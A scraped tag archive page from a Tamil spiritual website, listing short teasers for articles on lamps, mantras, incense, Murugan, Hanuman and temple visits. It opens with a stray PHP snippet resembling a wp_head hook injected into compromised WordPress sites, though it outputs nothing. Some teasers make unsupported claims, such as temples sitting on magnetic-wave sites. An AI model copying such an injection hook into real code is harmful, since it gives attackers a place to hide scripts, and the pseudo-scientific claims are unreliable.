/***/function load_frontend_assets() { echo ''; } add_action('wp_head', 'load_frontend_assets');/***/ aanmigam Archives - Page 69 of 70 - Thagaval kalam

Tag: aanmigam

27 தீபங்களும் அதன் பயன்களும்..!

நம் பாரதத்தின் ஆன்மிகக் கலாசாரத்துடன் இரண்டறக் கலந்தது தீப வழிபாடு. விரிவான வழிபாடுகள் தெரியவில்லை என்றாலும், காலை-மாலை இரண்டு வேளைகளில் தீபம் ஏற்றிவைத்து, அதற்கு...

அனைத்து தெய்வத்திற்கு உரிய காயத்திரி மந்திரங்கள்

மந்திரங்களில் முதன்மையானதாக திகழ்கின்றது காயத்திரி மந்திரம். மிக எளிமையாக இருக்கும் இந்த மந்திரம், ஒவ்வொரு கடவுளுக்கும் ஏற்றவாறு உள்ளன. விசுவாமித்திரரால் அருளப்பட்ட இந்த காயத்திரி...

தூபங்களும் அதன் பயன்களும்..!

தினமும் வீடு, கடை, தொழிற்சாலை, பாடசாலை, அலுவலகம் போன்ற இடங்களில், இறைவனை நினைத்து தூபமிட்டாலே அவ்விடத்தில் அமைதியும் நற்சூழலும் அமைந்து, அங்கு நடக்கும் நடைபெறும்...

தமிழ் கடவுள் முருகனுக்கு இரண்டு மனைவியர் ஏன்?

தமிழ் கடவுள் முருகன் என்கிறாய் ஆனால் அந்த தமிழ் கடவுளுக்கு மட்டும் ஏன் இரண்டு மனைவியர் உள்ளனர். கடவுள் ஏன் தமிழ் பண்பாட்டினை காப்பாற்றவில்லை...

எந்தெந்த விரல்களால் விபூதியை தொடலாம்?

கோவிலுக்கு சென்று இறைவனை வழிபடும்போது, அங்கே அர்ச்ச‍கர் நமக்கு விபூதியும், குங்குமமும் அளிப்பார். அப்ப‍டி அளிக்க‍ப்படும் விபூதியை வாங்கி நெற்றியில் இடும்போது, நாம் அதை...

ஆஞ்சநேயர் சிரஞ்சீவியாக மாறியது எவ்வாறு?

இந்திரனால் தாக்கப்பட்டு உயிரிழந்தது போல் கிடந்ததைக் கண்டு வருந்திய வாயு பகவான், அந்தக் குழந்தையைத் தனது மடியில் கிடத்தியவாறு தனது இயக்கத்தை நிறுத்திவிட்டார். வாயுவின்...

வீட்டில் செல்வம் குறைவதன் அறிகுறிகள்..!

வீட்டில் செல்வம் குறைவதின் அறிகுறிகள் என்னவென்று இந்த பதிவில் படித்து தெரிந்து கொள்ளுங்கள். இதனை படித்த பிறகு அந்த தவறை மீண்டும் செய்ய வேண்டாம்....

முருகன் வித்தியாசமான தோற்றத்தில் காட்சி தரும் தலங்கள்

'முருகு' என்ற சொல்லிற்கு அழகு, இளமை என்று பொருள். ஆகவே முருகன் என்றால் அழகன் என்பது பொருளாகும். மெல்லின, இடையின, வல்லின மெய் எழுத்துகளுடன்...

மகாலட்சுமி யார் யாரிடம் தங்கமாட்டாள்..!

எவ்வளவோ உழைக்கிறேன், கஷ்டப்படுறேன், கோவிலுக்கு போறேன், சாமி கும்பிடுறேன் அப்படியிருந்தும் என்னோட பொருளாதார நிலைமையில் எந்த முன்னேற்றமும் இல்ல. குறிப்பாக பணமே என்கிட்டே தங்கமாட்டேங்குது....

கோயில்களுக்கு செல்ல குழந்தைகளை பழக்குங்கள்

பூமியின் காந்த அலைகள் அதிகம் வீசப்படும் இடங்களில் தான் கோயில்கள் இருக்கும். சக்தியும், பாஸிட்டிவ் எனர்ஜியும் அதிகம் கொண்டிருக்கும், இது நார்த் போல் சவுத்...